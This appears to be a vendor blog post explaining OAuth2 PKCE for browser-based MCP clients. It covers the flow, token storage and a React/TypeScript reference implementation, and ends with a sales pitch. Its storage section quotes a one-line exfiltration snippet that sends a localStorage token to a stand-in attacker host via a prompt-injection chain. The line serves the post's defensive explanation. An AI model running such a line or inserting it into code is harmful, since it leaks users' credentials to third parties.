# Implementing OAuth2 PKCE for Web-Based MCP Clients

*By the engineering team at OnlineCloud — an Agentic AI & MCP Engineering Studio*
## 1. The Security Gap in Browser-Based Agent Tools
The Model Context Protocol (MCP) turned a corner in 2025: the specification made OAuth 2.0 the mandatory authorization layer for MCP servers. That is the right call — but the hardest deployment surface is the one everyone is now shipping into: the browser.
Desktop agent runtimes hold a client secret in a file on disk, use a loopback redirect, and move on. A single-page application has no such luxury. It cannot keep a secret, because anything shipped to the browser is public. It cannot rely on a loopback listener, because it lives behind a URL. And it renders untrusted model output by design — which means the classical threat model for web apps (XSS steals `localStorage`) collides head-on with the agent use case (an LLM is *supposed* to handle attacker-influenced text).
This is precisely the gap that Proof Key for Code Exchange (PKCE, RFC 7636) was built to close, and precisely the flow the MCP authorization specification now requires. A browser-based MCP client that falls back to the implicit grant, or that stashes long-lived bearer tokens in `localStorage` with no refresh discipline, is a credential-relay waiting for a prompt injection. In this post I’ll walk through PKCE mechanics, the web-first MCP authorization flow, token storage trade-offs, the browser-to-gate bridging pattern, and a complete React/TypeScript reference implementation you can lift into a real codebase.
## 2. PKCE: The Mechanics of `code_verifier` and `code_challenge`
PKCE exists to neutralize one attack: an authorization code that is intercepted before it reaches the legitimate client. In a native-app or SPA context there is no `client_secret` to prove the code was redeemed by the same party that requested it. PKCE substitutes a cryptographic proof of possession that travels in two separate, time-separated legs.
### The verifier
First, the client generates a high-entropy secret called the `code_verifier` — 43 to 128 characters drawn from the unreserved ASCII set (`A-Z`, `a-z`, `0-9`, `-`, `.`, `_`, `~`). This value lives only in the client. It is the thing that ultimately proves the client is who it claims to be at the token endpoint. Entropy is non-negotiable: it must come from a CSPRNG, never from `Math.random()`.
### The challenge
The client never sends the verifier in the authorization request. Instead it sends a one-way derivative, the `code_challenge`. With the `S256` method — which the MCP spec requires you to support — that is:
“`text
BASE64URL-ENCODE( SHA256( ASCII( code_verifier ) ) )
“`
The SHA-256 digest makes the challenge useless to an eavesdropper: they cannot reverse it to recover the verifier, and they cannot redeem the intercepted code without it.
### The exchange
The flow is then three moves, all of which matter:
1. Client → Authorization Server: `authorization_endpoint?response_type=code&code_challenge=…&code_challenge_method=S256&state=…`
2. Authorization Server → Client: an authorization `code` at the registered `redirect_uri`, bound to the challenge it just received.
3. Client → Authorization Server: `token_endpoint` with `grant_type=authorization_code&code=…&code_verifier=…`
The server recomputes the digest of the presented verifier and compares it to the stored challenge. Mismatch means rejection — even if the attacker holds a valid-looking code. That binding is the whole trick: the code is useless without the verifier, and the verifier never transits the authorization request leg where interception happens.
Two properties of this design are worth internalizing for a security review. First, PKCE also neutralizes a malicious or compromised redirect handler — a rogue page that receives the code via a wildcard `redirect_uri` cannot redeem it. Second, PKCE is *not* a substitute for the `state` parameter. `state` defends against login CSRF (an attacker starting a flow and tricking your user into completing it with the attacker’s authorization); PKCE defends the code itself. In an MCP context where your SPA can be invoked from arbitrary chat surfaces, you need both — plus strict, exact-match `redirect_uri` validation on the server. And if you are layering OpenID Connect on top, add a `nonce` and validate it in the ID token.
The MCP authorization specification (2025-06-18 and later revisions) does not merely recommend this. Servers must implement OAuth 2.0 Protected Resource Metadata (RFC 9728) to advertise their authorization servers, and clients — including browser clients — must use the authorization code flow with PKCE. The implicit grant is not an option on a compliant surface.
## 3. Web-First MCP: Authorization Code Flow in an SPA
An MCP server is, from OAuth’s point of view, a *protected resource*. When your SPA wants to talk to `https://mcp.example.com`, it first discovers the security contract of that origin — this is the RFC 9728 metadata step the spec mandates:
“`json
GET /.well-known/oauth-protected-resource
{
“authorization_servers”: [“https://auth.example.com”]
}
“`
The client then fetches the authorization server’s own metadata (RFC 8414) to learn its `authorization_endpoint`, `token_endpoint`, `registration_endpoint`, and supported PKCE methods. Because the MCP ecosystem is federated — your users will point their browser client at thousands of independently operated servers — dynamic client registration (RFC 7591) is the norm. If you have no pre-registered `client_id`, you register one at runtime with `token_endpoint_auth_method: “none”` and your exact `redirect_uri`, exactly as a native app would:
“`http
POST /register HTTP/1.1
Content-Type: application/json
{
“client_name”: “OnlineCloud Web MCP Console”,
“redirect_uris”: [“https://console.example.com/mcp/callback”],
“token_endpoint_auth_method”: “none”,
“grant_types”: [“authorization_code”],
“response_types”: [“code”]
}
“`
The full SPA sequence:
1. **Discover** — resolve protected-resource metadata, then authorization-server metadata.
2. **Register** — obtain or reuse a `client_id` with a `”none”` auth method (no secret, ever).
3. **Challenge** — generate `code_verifier` + `code_challenge` (S256) and a random `state`.
4. **Redirect** — send the user to the authorization endpoint (full-page navigation or a popup, never an iframe without explicit allowance via `allow=”openid”` / form-post setup).
5. **Redeem** — in the callback route, exchange the code for tokens, presenting the verifier.
6. **Call** — attach `Authorization: Bearer
Two web-specific traps deserve emphasis. First, the redirect round-trip must survive a full page load, so the `code_verifier` and `state` must be parked somewhere durable — `sessionStorage` is the pragmatic choice — before you leave the page, and cleaned up the moment the exchange completes. Second, use a popup with `window.open` and a dedicated callback route, not `location.href` bouncing, if you want to preserve SPA state; but remember popups are blockable, so ship a full-page fallback. The token response gives you `access_token`, `refresh_token`, `expires_in`, and often a `resource` echo. Store the pair with the storage strategy discussed next.
## 4. Protecting Tokens: localStorage vs. IndexedDB vs. HttpOnly Cookies
This is where security architects earn their keep, because the honest answer is: *JavaScript-readable storage is not a security boundary, and an agent tool is a JavaScript environment that renders attacker-influenced content.*
**localStorage** is the default and the worst of the three for access tokens. It is synchronous, simple, and readable by any script running on your origin — including the one that just rendered a malicious tool result the model helpfully turned into DOM nodes. An XSS gadget, a poisoned dependency, or a prompt-injection chain ending in `fetch(‘https://evil.example/?t=’ + localStorage.getItem(‘mcp_at’))` empties your token store in one line. Its only virtues: availability and simplicity. If you use it, treat contents as short-lived, and back them with aggressive refresh and revocation.
**IndexedDB** is frequently oversold as “more secure.” It is not. It is same-origin and script-readable exactly like localStorage — the browser applies no additional authorization to reads from the same origin. It *is* asynchronous, which marginally raises the bar for naive exfiltration snippets, and it stores larger structured data without blocking the main thread. But in a threat model where XSS means game over, IndexedDB buys you obscurity, not isolation. It is a fine choice for non-secret session state (user preferences, cached MCP metadata, the `code_verifier` during a flow); it is not a vault.
**HttpOnly, Secure, SameSite cookies** are the only one of the three that JavaScript cannot read, which eliminates the entire class of script-based token theft. The costs are real, though: cookies ride along on requests automatically, so you must defend against CSRF (strict `SameSite`, custom-header requirements, or origin checks on every state-changing route); they are scoped by domain and path, which is awkward when your SPA is an OAuth *client* for dozens of foreign MCP origins rather than a resource server; and cross-site iframe contexts need partitioned-cookie treatment (CHIPS) to avoid leaking into the top-level site.
The pattern I recommend for web-based MCP clients is a hybrid:
– **Access token in memory only.** It lives in a module-scoped variable or a `WeakMap`-backed store, never serialized. Short-lived (minutes), refreshed before expiry.
– **Refresh token in an HttpOnly cookie** scoped to *your* origin, with `Secure`, `SameSite=Lax`, a tight `Path`, and a 7-day lifetime — or in a secure, first-party partitioned cookie if the flow runs in an iframe. Revocation (RFC 7009) on logout is mandatory, and rotate the refresh token on every use.
– **Everything else** — discovery metadata, verifier, nonce, PKCE state — in `sessionStorage`, wiped after the exchange.
Remember what PKCE gave you: a refresh token that never touches JavaScript, plus an access token with a time-to-live measured in minutes, means an XSS compromise yields a narrow, quickly-expiring credential instead of a permanent session. Add a Content-Security-Policy that forbids inline scripts, never interpolate model output through `innerHTML`, and treat every agent response as untrusted input. Defense in depth is the whole game here.
## 5. Integration: Bridging the Browser MCP Client to the Server-Side Auth Gate
A pure-browser MCP client that dials foreign MCP servers directly is clean in theory and messy in production. Your SPA would need a registered `client_id` per server, per user, plus refresh-token storage per origin — and those refreshes happen from browsers, where token lifetimes are dictated by someone else’s policy. The pragmatic architecture — and the one we ship at OnlineCloud — is a two-hop bridge:
**Hop one: browser ↔ your auth gate.** The SPA authenticates to *your* backend with the PKCE flow described above. Your gate issues the short-lived access token to memory and the HttpOnly refresh cookie to your own origin. This is a boundary you control: session policy, MFA hooks, device trust, audit logging, all live here.
**Hop two: auth gate ↔ MCP servers.** Your server-side component holds the real MCP sessions. It performs discovery, dynamic registration, and the PKCE exchange against each MCP server’s authorization server — from a context that can keep a confidential client secret if one is offered, and where refresh tokens are stored in a proper secret manager. The browser never sees a foreign-server token. It sees only your gateway’s session.
The browser then speaks to your gate over streamable HTTP or SSE; the gate multiplexes to the upstream MCP server, enforcing per-tool authorization, rate limits, and row-level data policies before a single tool call crosses your perimeter. This is the pattern that makes MCP auditable: every tool invocation is attributable to a user session you issued, not to an opaque bearer token minted by a third party. If the MCP ecosystem standardizes on the resource-indicator extension (RFC 8707), your gate can request tokens scoped per upstream server, keeping blast radius to one tool surface per credential. Logout becomes a revocation fan-out: kill the gateway session, revoke the upstream refresh tokens, and the user’s agentic surface closes in every direction simultaneously.
## 6. Reference Implementation: An OAuth-Secured MCP Client in React / TypeScript
Below is a production-shaped skeleton. It implements discovery, PKCE with the Web Crypto API, popup-based authorization, an in-memory token cache with refresh, and a typed MCP client that attaches the bearer token to every request. Error handling is condensed but the security invariants are complete.
“`tsx
// mcpAuth.ts — PKCE + discovery + token exchange
const b64url = (buf: ArrayBuffer) =>
btoa(String.fromCharCode(…new Uint8Array(buf)))
.replace(/\+/g, “-“).replace(/\//g, “_”).replace(/=+$/, “”);
const random = (bytes: number) =>
b64url(crypto.getRandomValues(new Uint8Array(bytes)));
export async function createPkcePair() {
const codeVerifier = random(64); // 43–128 unreserved chars
const digest = await crypto.subtle.digest(
“SHA-256”, new TextEncoder().encode(codeVerifier));
return { codeVerifier, codeChallenge: b64url(digest) }; // S256 challenge
}
export async function discover(mcpOrigin: string) {
const prm = await fetch(`${mcpOrigin}/.well-known/oauth-protected-resource`)
.then((r) => r.json());
const asMeta = await fetch(
`${prm.authorization_servers[0]}/.well-known/oauth-authorization-server`)
.then((r) => r.json());
return { prm, as: asMeta };
}
export async function registerOrGetClient(as: any, redirectUri: string) {
if (as.registration_endpoint) {
const res = await fetch(as.registration_endpoint, {
method: “POST”,
headers: { “content-type”: “application/json” },
body: JSON.stringify({
redirect_uris: [redirectUri],
token_endpoint_auth_method: “none”,
grant_types: [“authorization_code”],
response_types: [“code”],
}),
});
return (await res.json()).client_id;
}
throw new Error(“Dynamic registration unsupported”);
}
“`
“`tsx
// useMcpAuth.ts — React hook: full authorization code + PKCE flow
export function useMcpAuth(mcpOrigin: string) {
const [tokens, setTokens] = useState
const redirectUri = `${location.origin}/mcp/callback`;
const authorize = useCallback(async () => {
const { as } = await discover(mcpOrigin);
const clientId = await registerOrGetClient(as, redirectUri);
const { codeVerifier, codeChallenge } = await createPkcePair();
const state = random(32);
// Survive the full-page redirect; wiped by the callback handler.
sessionStorage.setItem(“mcp_pkce”, JSON.stringify({ codeVerifier, state }));
const url = new URL(as.authorization_endpoint);
url.search = new URLSearchParams({
response_type: “code”,
client_id: clientId,
redirect_uri: redirectUri,
code_challenge: codeChallenge,
code_challenge_method: “S256”,
state,
scope: “mcp.tools mcp.resources”, // per MCP spec scopes
resource: mcpOrigin, // RFC 8707: bind token to server
}).toString();
const popup = window.open(url, “mcp-auth”, “width=600,height=700”);
if (!popup) location.href = url.toString(); // full-page fallback
}, [mcpOrigin]);
const exchange = useCallback(async (code: string, state: string) => {
const { as } = await discover(mcpOrigin);
const pkce = JSON.parse(sessionStorage.getItem(“mcp_pkce”)!);
if (state !== pkce.state) throw new Error(“state mismatch — possible CSRF”);
sessionStorage.removeItem(“mcp_pkce”); // one-time use
const res = await fetch(as.token_endpoint, {
method: “POST”,
headers: { “content-type”: “application/x-www-form-urlencoded” },
body: new URLSearchParams({
grant_type: “authorization_code”,
code,
redirect_uri: redirectUri,
client_id: as.client_id ?? (await registerOrGetClient(as, redirectUri)),
code_verifier: pkce.codeVerifier,
}),
});
const body = await res.json();
if (!res.ok) throw new Error(`token exchange failed: ${body.error}`);
const mem = { access: body.access_token,
expiresAt: Date.now() + body.expires_in * 1000,
refresh: body.refresh_token };
setTokens(mem);
return mem;
}, [mcpOrigin]);
return { tokens, authorize, exchange, setTokens };
}
“`
“`tsx
// McpClient.tsx — minimal MCP client call with bearer auth + silent refresh
async function refreshAccessToken(refreshToken: string) {
// POST refresh_token to as.token_endpoint with grant_type=refresh_token.
// Response must rotate the refresh token; store the new one HttpOnly-side.
}
export async function callMcpTool(mcpOrigin: string, tokens: MemTokens,
toolName: string, args: unknown) {
if (Date.now() > tokens.expiresAt – 30_000) {
tokens = await refreshAccessToken(tokens.refresh); // rotate!
}
const res = await fetch(`${mcpOrigin}/mcp`, {
method: “POST”,
headers: {
“content-type”: “application/json”,
authorization: `Bearer ${tokens.access}`,
“mcp-protocol-version”: “2025-06-18”,
},
body: JSON.stringify({
jsonrpc: “2.0”, id: crypto.randomUUID(),
method: “tools/call”,
params: { name: toolName, arguments: args },
}),
});
return res.json();
}
“`
The invariants to preserve when you productionize this: the verifier is single-use and never replayed; `state` is validated before any token work happens; the popup callback route does nothing but exchange the code and close itself; refresh tokens are rotated on every use and revoked on logout; and the access token — the only credential JavaScript ever holds — dies in minutes. Wire that skeleton to your server-side auth gate from Section 5, and you have an MCP client that treats the browser as the hostile environment it is.
## Closing the Loop
Browser-native MCP clients are the next great attack surface in agentic AI, and the industry has finally given us the right tools: PKCE for proof of possession, RFC 9728 metadata for discovery, dynamic registration for a federated world, and refresh-rotation discipline for the hostile confines of a single page. The teams that ship this correctly will treat token storage as a threat-modeling exercise, not a convenience decision — because the difference between an agent that respects boundaries and one that leaks them is often a single `code_challenge`.
If you are building an MCP server, an agent gateway, or a browser client that talks to one, the OnlineCloud team designs and ships exactly this class of system — evaluated, observable, and audited end to end, in six to ten weeks.
**[Talk to OnlineCloud about your MCP architecture →](https://www.onlinecloud.dev/)** — or write to **contact@onlinecloud.dev** for a free initial consultation.
Leave a Reply